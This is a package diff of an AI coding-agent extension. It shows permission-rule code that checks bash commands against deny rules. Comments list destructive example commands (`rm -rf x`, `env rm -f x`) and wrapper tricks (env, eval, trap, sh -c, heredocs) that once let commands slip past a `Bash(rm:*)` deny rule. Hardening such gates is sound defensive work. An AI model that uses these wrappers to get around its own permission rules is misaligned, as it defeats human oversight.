one-code-extension 0.4.0 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +219 -219
- package/agents/general-purpose.md +2 -2
- package/docs/guide/README.md +2 -1
- package/docs/guide/bring-your-claude-code-setup.md +60 -9
- package/docs/guide/configuration.md +48 -14
- package/docs/guide/differences-from-claude-code.md +32 -23
- package/docs/guide/doctor.md +20 -13
- package/docs/guide/hooks.md +18 -3
- package/docs/guide/installation.md +27 -4
- package/docs/guide/permissions-modes-and-auto-mode.md +225 -49
- package/docs/guide/providers-and-models.md +137 -54
- package/docs/guide/reference.md +27 -15
- package/docs/guide/sessions-and-context.md +69 -16
- package/docs/guide/skills-plugins-and-mcp.md +57 -20
- package/docs/guide/subagents-and-workflows.md +95 -29
- package/docs/guide/tasks-and-background-work.md +101 -26
- package/docs/guide/terminal-interface.md +24 -12
- package/docs/guide/tools.md +46 -5
- package/docs/guide/troubleshooting.md +13 -9
- package/docs/guide/windows.md +66 -34
- package/extensions/artifacts/gallery.ts +227 -0
- package/extensions/artifacts/index.ts +288 -0
- package/extensions/artifacts/store.ts +570 -0
- package/extensions/artifacts/viewer.ts +199 -0
- package/extensions/ask-user/description.ts +67 -0
- package/extensions/ask-user/dialogs.ts +80 -0
- package/extensions/ask-user/index.ts +37 -33
- package/extensions/ask-user/questions.ts +32 -7
- package/extensions/ask-user/widget.ts +45 -25
- package/extensions/auto-mode/actions.ts +6 -0
- package/extensions/auto-mode/cache.ts +88 -0
- package/extensions/auto-mode/classifier-prompt.ts +5 -4
- package/extensions/auto-mode/classifier.ts +290 -65
- package/extensions/auto-mode/config.ts +72 -20
- package/extensions/auto-mode/decision-log.ts +2 -0
- package/extensions/auto-mode/defaults.ts +1 -1
- package/extensions/auto-mode/denials.ts +123 -0
- package/extensions/auto-mode/git-checkout-programs.ts +187 -0
- package/extensions/auto-mode/git-status-meta.ts +159 -0
- package/extensions/auto-mode/history.ts +189 -0
- package/extensions/auto-mode/instructions.ts +58 -52
- package/extensions/auto-mode/model-select.ts +159 -134
- package/extensions/auto-mode/paths.ts +57 -5
- package/extensions/auto-mode/pause.ts +57 -2
- package/extensions/auto-mode/prompt.ts +37 -21
- package/extensions/auto-mode/read-only-options.ts +724 -0
- package/extensions/auto-mode/resolved-paths-meta.ts +133 -0
- package/extensions/auto-mode/rules.ts +18 -1
- package/extensions/auto-mode/safety-floor.ts +361 -18
- package/extensions/auto-mode/setup-run.ts +20 -14
- package/extensions/auto-mode/shell-analysis.ts +764 -490
- package/extensions/auto-mode/shell-parse.ts +885 -0
- package/extensions/auto-mode/system-note.ts +33 -0
- package/extensions/auto-mode/transcript.ts +80 -51
- package/extensions/background/cron.ts +515 -0
- package/extensions/background/index.ts +514 -236
- package/extensions/background/loop-fire.ts +136 -0
- package/extensions/background/loop-preamble.ts +59 -0
- package/extensions/background/loop-skill.ts +163 -0
- package/extensions/background/monitor-batch.ts +53 -0
- package/extensions/background/noop-fold.ts +128 -0
- package/extensions/background/switch-guard.ts +52 -0
- package/extensions/background/wakeup.ts +159 -55
- package/extensions/bash/background.ts +53 -17
- package/extensions/bash/child.ts +7 -0
- package/extensions/bash/description.ts +188 -0
- package/extensions/bash/guards.ts +15 -67
- package/extensions/bash/index.ts +88 -35
- package/extensions/branding/compaction-keep.ts +63 -0
- package/extensions/branding/declined.ts +22 -0
- package/extensions/branding/index.ts +133 -9
- package/extensions/branding/prompt-editor.ts +53 -6
- package/extensions/branding/queued-edit.ts +31 -0
- package/extensions/branding/replaced-builtins.ts +68 -0
- package/extensions/branding/startup.ts +33 -71
- package/extensions/btw/index.ts +229 -71
- package/extensions/btw/panel.ts +228 -100
- package/extensions/btw/prompt.ts +41 -4
- package/extensions/claude-compat/index.ts +7 -11
- package/extensions/claude-context/index.ts +446 -58
- package/extensions/compaction/cut.ts +157 -0
- package/extensions/compaction/index.ts +216 -75
- package/extensions/compaction/kept-thinking.ts +62 -0
- package/extensions/compaction/prompt.ts +15 -12
- package/extensions/context-budget/index.ts +24 -5
- package/extensions/context-management/index.ts +25 -0
- package/extensions/doctor/build.ts +59 -8
- package/extensions/doctor/builtins.ts +84 -0
- package/extensions/doctor/cli.ts +7 -1
- package/extensions/doctor/compat.ts +88 -23
- package/extensions/doctor/dependencies.ts +41 -5
- package/extensions/doctor/fix-prompt.ts +9 -2
- package/extensions/doctor/index.ts +102 -58
- package/extensions/doctor/models.ts +102 -63
- package/extensions/doctor/presets.ts +42 -27
- package/extensions/doctor/report.ts +19 -2
- package/extensions/doctor/viewer.ts +49 -27
- package/extensions/effort/index.ts +72 -19
- package/extensions/effort/settings.ts +21 -0
- package/extensions/effort/slider.ts +24 -20
- package/extensions/exit/index.ts +32 -1
- package/extensions/file-tracker/index.ts +337 -26
- package/extensions/file-tracker/replay.ts +96 -10
- package/extensions/file-tracker/restore.ts +63 -0
- package/extensions/file-tracker/results.ts +66 -0
- package/extensions/file-tracker/shell-reads.ts +211 -0
- package/extensions/file-tracker/tracker.ts +32 -15
- package/extensions/footer/footer-line.ts +45 -24
- package/extensions/footer/index.ts +47 -2
- package/extensions/footer/pr.ts +34 -5
- package/extensions/hooks/compaction.ts +7 -0
- package/extensions/hooks/executor.ts +32 -30
- package/extensions/hooks/index.ts +198 -31
- package/extensions/hooks/matcher.ts +3 -0
- package/extensions/hooks/protocol.ts +41 -3
- package/extensions/hooks/settings.ts +50 -19
- package/extensions/hooks/subagent-bridge.ts +2 -0
- package/extensions/hooks/trust.ts +13 -5
- package/extensions/idle-compact/index.ts +119 -0
- package/extensions/idle-compact/policy.ts +143 -0
- package/extensions/init/index.ts +11 -10
- package/extensions/init/prompt.ts +25 -32
- package/extensions/interrupted/index.ts +13 -1
- package/extensions/kept-thinking/index.ts +27 -0
- package/extensions/lib/agent-cron.ts +130 -0
- package/extensions/lib/agent-loader.ts +15 -1
- package/extensions/lib/agent-view.ts +85 -0
- package/extensions/lib/anthropic-payload.ts +82 -1
- package/extensions/lib/anthropic-server-call.ts +230 -0
- package/extensions/lib/anthropic-server-tools.ts +485 -0
- package/extensions/lib/app-launch.mjs +94 -0
- package/extensions/lib/argument-hints.ts +190 -0
- package/extensions/lib/atomic-write.ts +6 -2
- package/extensions/lib/auto-memory.ts +75 -0
- package/extensions/lib/bash-parser.ts +84 -0
- package/extensions/lib/btw-fork.ts +93 -0
- package/extensions/lib/child-extensions.ts +42 -0
- package/extensions/lib/child-writes.ts +45 -0
- package/extensions/lib/claude-context.ts +515 -100
- package/extensions/lib/claude-external-includes.ts +68 -0
- package/extensions/lib/claude-id.ts +22 -0
- package/extensions/lib/claude-rules.ts +323 -0
- package/extensions/lib/claude-settings.ts +76 -4
- package/extensions/lib/compaction-boundary.ts +36 -0
- package/extensions/lib/compaction-keep.mjs +83 -0
- package/extensions/lib/config-mode.ts +112 -0
- package/extensions/lib/consent-dialogs.ts +63 -0
- package/extensions/lib/consent-preview.ts +5 -1
- package/extensions/lib/consent-stores.ts +48 -0
- package/extensions/lib/context-facts.ts +78 -0
- package/extensions/lib/context-stack.ts +81 -0
- package/extensions/lib/deferred.ts +219 -25
- package/extensions/lib/dock-rows.ts +60 -0
- package/extensions/lib/empty-tool-result.ts +27 -0
- package/extensions/lib/environment-block.ts +76 -0
- package/extensions/lib/fetch-timeout.ts +24 -6
- package/extensions/{system-prompt → lib}/git-status.ts +51 -13
- package/extensions/lib/git.ts +75 -13
- package/extensions/lib/grammars/LICENSE-tree-sitter-bash +21 -0
- package/extensions/lib/grammars/README.md +2 -0
- package/extensions/lib/grammars/tree-sitter-bash.wasm +0 -0
- package/extensions/lib/guide-docs.ts +45 -0
- package/extensions/lib/headless-output.ts +46 -0
- package/extensions/lib/hook-gate.ts +7 -7
- package/extensions/lib/interrupt.ts +20 -4
- package/extensions/lib/key-input.ts +455 -0
- package/extensions/lib/keys.ts +14 -1
- package/extensions/lib/local-command.ts +47 -13
- package/extensions/lib/mcp-overrides.ts +1 -1
- package/extensions/lib/mcp-share.ts +46 -0
- package/extensions/lib/memory-content.ts +146 -0
- package/extensions/lib/memory-index.ts +18 -0
- package/extensions/lib/memory.ts +134 -123
- package/extensions/lib/model-catalog/huggingface.json +174 -0
- package/extensions/lib/model-catalog/models-dev.json +18297 -0
- package/extensions/lib/model-catalog/openrouter.json +5252 -0
- package/extensions/lib/model-catalog-data.ts +513 -0
- package/extensions/lib/model-catalog.ts +462 -0
- package/extensions/lib/model-choice-warnings.ts +137 -0
- package/extensions/lib/model-pairings.ts +152 -0
- package/extensions/{auto-mode → lib}/model-picker.ts +26 -43
- package/extensions/lib/model-policy.ts +112 -15
- package/extensions/lib/model-tier.ts +283 -355
- package/extensions/lib/model-unusable.ts +1 -1
- package/extensions/lib/newer-model.ts +100 -0
- package/extensions/lib/notices.ts +87 -0
- package/extensions/lib/notifications.ts +308 -64
- package/extensions/lib/one-code-settings.ts +74 -8
- package/extensions/lib/open-browser.ts +63 -0
- package/extensions/lib/openrouter-generation.ts +94 -0
- package/extensions/lib/operation-deadline.ts +30 -0
- package/extensions/lib/original-command.ts +4 -4
- package/extensions/lib/package-version.ts +1 -1
- package/extensions/lib/panel-focus.ts +134 -0
- package/extensions/lib/paths.ts +17 -2
- package/extensions/lib/permission-gate.ts +72 -6
- package/extensions/lib/persisted-output.ts +60 -8
- package/extensions/lib/pi-ai-estimate.ts +19 -3
- package/extensions/lib/pi-version.ts +21 -2
- package/extensions/lib/plan-mode-channels.ts +20 -5
- package/extensions/lib/plugins.ts +26 -17
- package/extensions/lib/powershell-parse-script.ts +208 -0
- package/extensions/lib/powershell-parser.ts +344 -0
- package/extensions/lib/process-tree.ts +131 -8
- package/extensions/lib/prompt-options.ts +82 -0
- package/extensions/lib/queued-delivery.ts +44 -0
- package/extensions/lib/reminders.ts +364 -58
- package/extensions/lib/replaced-builtins.mjs +199 -0
- package/extensions/lib/replay-call.ts +70 -0
- package/extensions/lib/request-replay.ts +439 -0
- package/extensions/lib/scratchpad.ts +81 -14
- package/extensions/lib/send-now-channel.ts +7 -0
- package/extensions/lib/session-model-tier.ts +51 -0
- package/extensions/lib/session-work.ts +64 -0
- package/extensions/lib/settings-channels.ts +4 -4
- package/extensions/lib/shell-exit-semantics.ts +170 -0
- package/extensions/lib/shell-quote.ts +11 -0
- package/extensions/lib/shell-result.ts +70 -0
- package/extensions/lib/shell-spawn.ts +70 -6
- package/extensions/lib/shell-tool.ts +75 -25
- package/extensions/lib/side-call-cache.ts +124 -0
- package/extensions/lib/side-call-run.ts +96 -0
- package/extensions/lib/side-call-usage.ts +38 -0
- package/extensions/lib/side-call.ts +13 -1
- package/extensions/lib/single-flight.ts +18 -0
- package/extensions/lib/skill-body.ts +42 -0
- package/extensions/lib/skill-scan.ts +63 -24
- package/extensions/lib/spill-file.ts +140 -0
- package/extensions/lib/subagent-handback.ts +113 -0
- package/extensions/lib/system-role.ts +156 -0
- package/extensions/lib/terminal-text.ts +114 -0
- package/extensions/lib/text-width.ts +47 -16
- package/extensions/lib/timer-ops.ts +20 -0
- package/extensions/lib/tool-additions.ts +149 -0
- package/extensions/lib/tool-call-corruption.ts +134 -0
- package/extensions/lib/tool-path.ts +66 -0
- package/extensions/lib/tool-variants.ts +69 -0
- package/extensions/lib/tui-render.ts +255 -27
- package/extensions/lib/turn-budget-layout.ts +143 -0
- package/extensions/lib/update-check.mjs +15 -2
- package/extensions/lib/usage-bus.ts +1 -1
- package/extensions/lib/user-denial.ts +38 -0
- package/extensions/lib/workspace-channel.ts +16 -0
- package/extensions/lib/worktree-channel.ts +31 -3
- package/extensions/lib/worktree-isolation.ts +40 -10
- package/extensions/lsp/client.ts +8 -9
- package/extensions/lsp/index.ts +70 -4
- package/extensions/lsp/keep-alive.ts +1 -1
- package/extensions/lsp/trust.ts +119 -0
- package/extensions/lsp/watcher.ts +1 -1
- package/extensions/mcp/announce.ts +87 -5
- package/extensions/mcp/client.ts +161 -48
- package/extensions/mcp/config.ts +132 -8
- package/extensions/mcp/discovery.ts +19 -0
- package/extensions/mcp/index.ts +209 -71
- package/extensions/mcp/oauth/browser.ts +38 -17
- package/extensions/mcp/oauth/flow.ts +25 -17
- package/extensions/mcp/oauth/provider.ts +14 -8
- package/extensions/mcp/oauth/store.ts +34 -16
- package/extensions/mcp/panel/keys.ts +12 -11
- package/extensions/mcp/panel/render.ts +9 -6
- package/extensions/mcp/schema.ts +104 -5
- package/extensions/mcp/trust.ts +151 -67
- package/extensions/memory/entries.ts +23 -14
- package/extensions/memory/index.ts +134 -28
- package/extensions/memory/open-external.ts +33 -18
- package/extensions/memory/panel.ts +135 -26
- package/extensions/newer-model/index.ts +31 -0
- package/extensions/notebook/description.ts +18 -0
- package/extensions/notebook/index.ts +6 -5
- package/extensions/notebook/notebook.ts +1 -1
- package/extensions/permissions/index.ts +1300 -381
- package/extensions/permissions/matcher.ts +425 -74
- package/extensions/permissions/modes.ts +6 -4
- package/extensions/permissions/panel/host.ts +130 -0
- package/extensions/permissions/panel/keys.ts +48 -0
- package/extensions/permissions/panel/render.ts +450 -0
- package/extensions/permissions/panel/state.ts +550 -0
- package/extensions/permissions/powershell-cmdlets.ts +198 -0
- package/extensions/permissions/powershell-paths.ts +197 -0
- package/extensions/permissions/powershell-rules.ts +207 -280
- package/extensions/permissions/powershell-tree.ts +557 -0
- package/extensions/permissions/project-trust.ts +27 -11
- package/extensions/permissions/protected-paths.ts +14 -2
- package/extensions/permissions/session-grant.ts +6 -0
- package/extensions/permissions/settings.ts +166 -31
- package/extensions/permissions/subagent-gate.ts +25 -0
- package/extensions/permissions/workspace.ts +78 -0
- package/extensions/plan-mode/index.ts +156 -69
- package/extensions/plan-mode/reminder.ts +89 -21
- package/extensions/plan-mode/texts.ts +177 -0
- package/extensions/plan-mode/viewer.ts +92 -27
- package/extensions/plugins/counts.ts +3 -3
- package/extensions/plugins/index.ts +61 -46
- package/extensions/plugins/install/install.ts +16 -0
- package/extensions/plugins/marketplace/sync.ts +9 -3
- package/extensions/plugins/marketplace/types.ts +3 -1
- package/extensions/plugins/panel/keys.ts +21 -24
- package/extensions/plugins/panel/render.ts +12 -6
- package/extensions/plugins/shell-expand.ts +107 -0
- package/extensions/plugins/template.ts +32 -15
- package/extensions/powershell/child.ts +7 -0
- package/extensions/powershell/description.ts +38 -6
- package/extensions/powershell/guards.ts +1 -1
- package/extensions/powershell/index.ts +12 -7
- package/extensions/recap/index.ts +65 -60
- package/extensions/recap/prompt.ts +2 -2
- package/extensions/recap/scheduler.ts +3 -5
- package/extensions/search-tools/grep-merge.ts +39 -0
- package/extensions/search-tools/index.ts +0 -0
- package/extensions/send-now/chord.ts +62 -0
- package/extensions/send-now/index.ts +133 -0
- package/extensions/session-title/index.ts +3 -0
- package/extensions/session-title/title.ts +4 -1
- package/extensions/skill/code-review.ts +97 -0
- package/extensions/skill/index.ts +421 -101
- package/extensions/skill/invoke.ts +128 -18
- package/extensions/skill/listing.ts +133 -9
- package/extensions/skill/panel/keys.ts +15 -16
- package/extensions/skill/panel/render.ts +5 -2
- package/extensions/skill/panel/state.ts +12 -1
- package/extensions/subagents/agent-args.ts +39 -0
- package/extensions/subagents/agent-description.ts +132 -0
- package/extensions/subagents/agents.ts +116 -23
- package/extensions/subagents/announce.ts +69 -0
- package/extensions/subagents/default-model.ts +2 -3
- package/extensions/subagents/delegation-steer.ts +4 -4
- package/extensions/subagents/fork-cache.ts +76 -0
- package/extensions/subagents/guide-agent.ts +189 -0
- package/extensions/subagents/hand-back-review.ts +3 -0
- package/extensions/subagents/index.ts +1493 -824
- package/extensions/subagents/live-runs.ts +26 -6
- package/extensions/subagents/model-select.ts +38 -25
- package/extensions/subagents/outcome.ts +2 -2
- package/extensions/subagents/panel-keys.ts +73 -31
- package/extensions/subagents/panel-render.ts +120 -96
- package/extensions/subagents/panel-widget.ts +60 -89
- package/extensions/subagents/runner.ts +108 -80
- package/extensions/subagents/runs.ts +39 -5
- package/extensions/subagents/send-to-main-tool.ts +1 -1
- package/extensions/subagents/session-turns.ts +32 -8
- package/extensions/subagents/shell-panel.ts +36 -178
- package/extensions/subagents/tasks-dialog.ts +170 -0
- package/extensions/subagents/viewport-mirror.ts +95 -0
- package/extensions/subagents/worktree.ts +57 -13
- package/extensions/system-prompt/environment.ts +19 -19
- package/extensions/system-prompt/idle-turn.ts +65 -0
- package/extensions/system-prompt/index.ts +131 -47
- package/extensions/system-prompt/template.ts +24 -50
- package/extensions/system-prompt/tiers/common.ts +23 -64
- package/extensions/system-prompt/tiers/frontier.ts +32 -11
- package/extensions/system-prompt/tiers/low.ts +67 -45
- package/extensions/system-prompt/tiers/mid.ts +96 -38
- package/extensions/system-reminder/index.ts +175 -13
- package/extensions/tasks/descriptions.ts +190 -0
- package/extensions/tasks/index.ts +120 -41
- package/extensions/tasks/store.ts +83 -16
- package/extensions/tool-call-corruption/child.ts +7 -0
- package/extensions/tool-call-corruption/index.ts +237 -0
- package/extensions/tool-search/announce.ts +16 -0
- package/extensions/tool-search/index.ts +189 -41
- package/extensions/tool-style/index.ts +68 -10
- package/extensions/tool-style/write-description.ts +40 -0
- package/extensions/tool-style/write-render.ts +237 -0
- package/extensions/turn-duration/index.ts +7 -3
- package/extensions/turn-duration/line.ts +47 -4
- package/extensions/web/backends.ts +6 -9
- package/extensions/web/description.ts +50 -0
- package/extensions/web/index.ts +118 -53
- package/extensions/web/native-call.ts +15 -0
- package/extensions/web/native-results.ts +41 -0
- package/extensions/web-fetch/description.ts +42 -0
- package/extensions/web-fetch/extract.ts +53 -6
- package/extensions/web-fetch/index.ts +125 -76
- package/extensions/web-fetch/page-content.ts +19 -0
- package/extensions/web-fetch/response.ts +49 -0
- package/extensions/web-fetch/summarize.ts +9 -10
- package/extensions/workflow/agent-session.ts +105 -18
- package/extensions/workflow/args.ts +24 -0
- package/extensions/workflow/description.ts +67 -0
- package/extensions/workflow/globals.ts +17 -3
- package/extensions/workflow/index.ts +145 -162
- package/extensions/workflow/records.ts +1 -0
- package/extensions/workflow/run-manager.ts +29 -6
- package/extensions/workflow/saved-workflows.ts +3 -2
- package/extensions/workflow/types.ts +22 -1
- package/extensions/workflow/viewer.ts +54 -24
- package/extensions/workflow/widget.ts +20 -0
- package/extensions/worktree/descriptions.ts +91 -0
- package/extensions/worktree/guards.ts +316 -54
- package/extensions/worktree/index.ts +121 -39
- package/extensions/worktree/powershell-guards.ts +167 -0
- package/extensions/worktree/rewrite.ts +14 -16
- package/package.json +19 -7
- package/skills/artifact-design/SKILL.md +85 -0
- package/skills/code-review/SKILL.md +20 -20
- package/skills/code-review/cells/arguments-and-flags.md +19 -0
- package/skills/code-review/cells/high-3x5-recall-verify.md +137 -0
- package/skills/code-review/cells/high-8-inline.md +122 -0
- package/skills/code-review/cells/low-1-pass-max4.md +27 -0
- package/skills/code-review/cells/low-1-pass-min-files-4.md +28 -0
- package/skills/code-review/cells/max-5x5-verify-sweep.md +162 -0
- package/skills/code-review/cells/medium-3x5-verify.md +132 -0
- package/skills/code-review/cells/minimal-prompt.md +32 -0
- package/skills/code-review/cells/xhigh-10-inline-sweep.md +149 -0
- package/skills/code-review/cells/xhigh-5x5-verify-sweep.md +162 -0
- package/skills/fewer-permission-prompts/SKILL.md +1 -1
- package/skills/loop/SKILL.md +11 -0
- package/skills/security-review/SKILL.md +2 -5
- package/skills/simplify/SKILL.md +7 -5
- package/skills/workflow-authoring/SKILL.md +143 -0
- package/themes/onecode-light.json +1 -1
- package/themes/onecode.json +1 -1
- package/types/app.d.ts +58 -0
- package/types/community-packages.d.ts +26 -1
- package/extensions/auto-mode/recoverability.ts +0 -229
- package/extensions/lib/capability-index.ts +0 -466
- package/extensions/lib/model-facts.generated.json +0 -2675
- package/extensions/lib/model-facts.ts +0 -162
|
@@ -7,11 +7,16 @@
|
|
|
7
7
|
* existing ~/.claude/settings.json files work unchanged.
|
|
8
8
|
*/
|
|
9
9
|
|
|
10
|
+
import { statSync } from "node:fs";
|
|
10
11
|
import { homedir } from "node:os";
|
|
11
12
|
import { isAbsolute, relative, resolve } from "node:path";
|
|
12
|
-
import {
|
|
13
|
-
import {
|
|
13
|
+
import { domainToASCII } from "node:url";
|
|
14
|
+
import { analyzeShellCommand, INLINE_SCRIPT_SHELLS, isUnknownTilde, leadTokens, movesDirectory, parseCommand, resolvePayload, type ShellEvidence } from "../auto-mode/shell-analysis.ts";
|
|
15
|
+
import { pathArgument, resolveForContainment, toAbsolute, toAbsoluteBash } from "../auto-mode/paths.ts";
|
|
16
|
+
import { isSensitivePath } from "../auto-mode/sensitive.ts";
|
|
14
17
|
import { isProtectedPath, isWritingTool } from "./protected-paths.ts";
|
|
18
|
+
import { powershellTreeContainedEdits } from "./powershell-tree.ts";
|
|
19
|
+
import type { PowerShellParse } from "../lib/powershell-parser.ts";
|
|
15
20
|
import {
|
|
16
21
|
canonicalCommandName,
|
|
17
22
|
canonicalizeStatement,
|
|
@@ -38,6 +43,7 @@ const CC_TOOL_NAMES: Record<string, string> = {
|
|
|
38
43
|
glob: "find",
|
|
39
44
|
find: "find",
|
|
40
45
|
ls: "ls",
|
|
46
|
+
artifact: "artifact",
|
|
41
47
|
notebookedit: "notebook_edit",
|
|
42
48
|
notebook_edit: "notebook_edit",
|
|
43
49
|
webfetch: "web_fetch",
|
|
@@ -62,6 +68,9 @@ const CC_TOOL_NAMES: Record<string, string> = {
|
|
|
62
68
|
taskstop: "task_stop",
|
|
63
69
|
monitor: "monitor",
|
|
64
70
|
schedulewakeup: "schedule_wakeup",
|
|
71
|
+
croncreate: "cron_create",
|
|
72
|
+
cronlist: "cron_list",
|
|
73
|
+
crondelete: "cron_delete",
|
|
65
74
|
sendmessage: "SendMessage",
|
|
66
75
|
send_message: "SendMessage", // pre-rename internal name
|
|
67
76
|
listagents: "list_agents",
|
|
@@ -104,12 +113,13 @@ export interface PermissionRule {
|
|
|
104
113
|
* names may carry `-` and `.` — MCP tools keep their servers' hyphens
|
|
105
114
|
* (`mcp__github__delete-repo`), and a rule naming one used to be dropped
|
|
106
115
|
* silently (review P5) — and `:`, the plugin MCP namespace
|
|
107
|
-
* (`mcp__plugin:name:server__tool`).
|
|
116
|
+
* (`mcp__plugin:name:server__tool`). MCP rules also accept the server-wide
|
|
117
|
+
* `mcp__server__*` spelling; no other tool-name wildcards are supported.
|
|
108
118
|
*/
|
|
109
119
|
export function parseRule(raw: string): PermissionRule | undefined {
|
|
110
120
|
const trimmed = raw.trim();
|
|
111
121
|
if (!trimmed) return undefined;
|
|
112
|
-
const match = trimmed.match(/^([A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
|
|
122
|
+
const match = trimmed.match(/^(mcp__[A-Za-z0-9_.:-]+__\*|[A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
|
|
113
123
|
if (!match) return undefined;
|
|
114
124
|
const [, name, pattern] = match;
|
|
115
125
|
return { raw: trimmed, tool: normalizeToolName(name), pattern: pattern || undefined };
|
|
@@ -225,17 +235,20 @@ export function matchesBashPattern(pattern: string, command: string): boolean {
|
|
|
225
235
|
/**
|
|
226
236
|
* The separately-executing subcommands of a bash command line — what `&&`,
|
|
227
237
|
* `||`, `;`, `|`, `&`, and unquoted newlines separate — or undefined when the
|
|
228
|
-
* line cannot be parsed
|
|
229
|
-
*
|
|
238
|
+
* line cannot be parsed or uses a construct the pre-gate does not model (a
|
|
239
|
+
* subshell, a loop, a function): an allow rule covers the commands its author
|
|
240
|
+
* wrote, not `(npm test)` or a loop around them. A single simple command comes
|
|
241
|
+
* back as itself. The commands inside a substitution are not listed: they are
|
|
242
|
+
* part of the subcommand whose word they compute ({@link findBashAllowRule}).
|
|
230
243
|
*/
|
|
231
244
|
export function bashSubcommands(command: string): string[] | undefined {
|
|
232
|
-
const { segments, parseFailed } = parseCommand(command.trim());
|
|
233
|
-
if (parseFailed) return undefined;
|
|
234
|
-
return segments.map((seg) => seg.raw).filter((raw) => raw.length > 0);
|
|
245
|
+
const { segments, parseFailed, complex } = parseCommand(command.trim());
|
|
246
|
+
if (parseFailed || complex) return undefined;
|
|
247
|
+
return segments.filter((seg) => seg.substitution === undefined).map((seg) => seg.raw).filter((raw) => raw.length > 0);
|
|
235
248
|
}
|
|
236
249
|
|
|
237
|
-
/**
|
|
238
|
-
const
|
|
250
|
+
/** Redirect targets that are devices, never files: always fine under an allow rule. */
|
|
251
|
+
const DEVICE_TARGETS = new Set(["/dev/null", "/dev/stdout", "/dev/stderr", "/dev/tty"]);
|
|
239
252
|
|
|
240
253
|
/** The script a `sh -c '…'` / `bash -lc '…'` invocation runs, if any. */
|
|
241
254
|
function inlineShellScript(args: string[]): string | undefined {
|
|
@@ -245,13 +258,27 @@ function inlineShellScript(args: string[]): string | undefined {
|
|
|
245
258
|
return undefined;
|
|
246
259
|
}
|
|
247
260
|
|
|
261
|
+
/**
|
|
262
|
+
* The pieces of a line the grammar could not parse, split at every separator
|
|
263
|
+
* and substitution opener, for the deny forms only. Rough on purpose: a deny
|
|
264
|
+
* form may only widen, and `cat <<EOF; rm y` (a heredoc whose body comes later
|
|
265
|
+
* on the line) must still meet `Bash(rm:*)`.
|
|
266
|
+
*/
|
|
267
|
+
function roughPieces(line: string): string[] {
|
|
268
|
+
return line
|
|
269
|
+
.split(/[;&|\n()`]|\$\(|[<>]\(/)
|
|
270
|
+
.map((piece) => piece.trim())
|
|
271
|
+
.filter((piece) => piece && piece !== line);
|
|
272
|
+
}
|
|
273
|
+
|
|
248
274
|
/**
|
|
249
275
|
* Every spelling of a command line a deny/ask pattern is tested against: the
|
|
250
276
|
* raw line, each subcommand, and each subcommand's *payload form* — transparent
|
|
251
|
-
* wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …),
|
|
252
|
-
*
|
|
253
|
-
* basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script
|
|
254
|
-
*
|
|
277
|
+
* wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), the
|
|
278
|
+
* commands inside subshells, groups and substitutions, the command word reduced to its lowercased
|
|
279
|
+
* basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script,
|
|
280
|
+
* an `eval` line, a `trap` handler and a `find -exec` command expanded
|
|
281
|
+
* recursively. Claude Code strips the same wrappers before its deny
|
|
255
282
|
* check (`bashPermissions.ts stripSafeWrappers`); until 2026-09-05 `env rm -f
|
|
256
283
|
* x` ran past `Bash(rm:*)` here after a plain "Allow bash?" prompt
|
|
257
284
|
* (PERMISSIONS-REVIEW-2026-09-05 M1). Deny/ask only — an allow rule keeps
|
|
@@ -264,21 +291,57 @@ export function bashMatchForms(command: string, depth = 0): string[] {
|
|
|
264
291
|
if (!trimmed) return [];
|
|
265
292
|
forms.add(trimmed);
|
|
266
293
|
if (depth > 4) return [...forms];
|
|
294
|
+
const nested: string[] = [];
|
|
295
|
+
// The commands inside `$(…)`, backticks and `<(…)` are segments of their
|
|
296
|
+
// own. A line that did not parse still gives its best-effort segments, and
|
|
297
|
+
// its rough pieces besides.
|
|
267
298
|
const { segments, parseFailed } = parseCommand(trimmed);
|
|
268
|
-
if (parseFailed)
|
|
299
|
+
if (parseFailed) nested.push(...roughPieces(trimmed));
|
|
300
|
+
// A shell on the line may run its input, a `-c` script included (`sh -c
|
|
301
|
+
// 'eval "$(cat)"'`). Then every heredoc and here-string on the line, and
|
|
302
|
+
// the words an `echo`/`printf` prints, may be the script it reads
|
|
303
|
+
// (`sh <<'EOF'`, `cat <<EOF | sh`, `echo 'rm -rf x' | sh`). Only then, so
|
|
304
|
+
// a commit message mentioning `rm` never meets `Bash(rm:*)`.
|
|
305
|
+
const payloads = segments.map((segment) => resolvePayload(leadTokens(segment), "wide"));
|
|
306
|
+
if (payloads.some((payload) => INLINE_SCRIPT_SHELLS.has(payload.command))) {
|
|
307
|
+
for (const [index, segment] of segments.entries()) {
|
|
308
|
+
nested.push(...(segment.stdin ?? []));
|
|
309
|
+
const { command: printer, args } = payloads[index];
|
|
310
|
+
if (printer === "echo" || printer === "printf") nested.push(args.map((token) => token.value).filter((value) => !/^-[neE]+$/.test(value)).join(" "));
|
|
311
|
+
}
|
|
312
|
+
}
|
|
269
313
|
for (const segment of segments) {
|
|
270
314
|
if (segment.raw) forms.add(segment.raw);
|
|
271
315
|
const tokens = leadTokens(segment);
|
|
272
316
|
if (tokens.length === 0) continue;
|
|
273
|
-
|
|
317
|
+
// The wide reading also peels sudo/doas and returns the command lines
|
|
318
|
+
// wrapper options carry (`flock -c`, `env -S`).
|
|
319
|
+
const payload = resolvePayload(tokens, "wide");
|
|
320
|
+
nested.push(...payload.scripts);
|
|
274
321
|
if (!payload.command) continue;
|
|
275
322
|
const args = payload.args.map((token) => token.value);
|
|
276
323
|
forms.add([payload.command, ...args].join(" "));
|
|
277
|
-
if (
|
|
324
|
+
if (INLINE_SCRIPT_SHELLS.has(payload.command)) {
|
|
278
325
|
const script = inlineShellScript(args);
|
|
279
|
-
if (script)
|
|
326
|
+
if (script) nested.push(script);
|
|
327
|
+
}
|
|
328
|
+
// `eval` runs its arguments joined into one command line.
|
|
329
|
+
if (payload.command === "eval") nested.push(args.join(" "));
|
|
330
|
+
// `trap 'cmd' EXIT` runs its first argument later, as a command line.
|
|
331
|
+
if (payload.command === "trap") {
|
|
332
|
+
const handler = args[args[0] === "--" ? 1 : 0];
|
|
333
|
+
if (handler && !handler.startsWith("-")) nested.push(handler);
|
|
334
|
+
}
|
|
335
|
+
// `find … -exec cmd {} ;` runs cmd on every match.
|
|
336
|
+
if (payload.command === "find") {
|
|
337
|
+
for (const [index, arg] of args.entries()) {
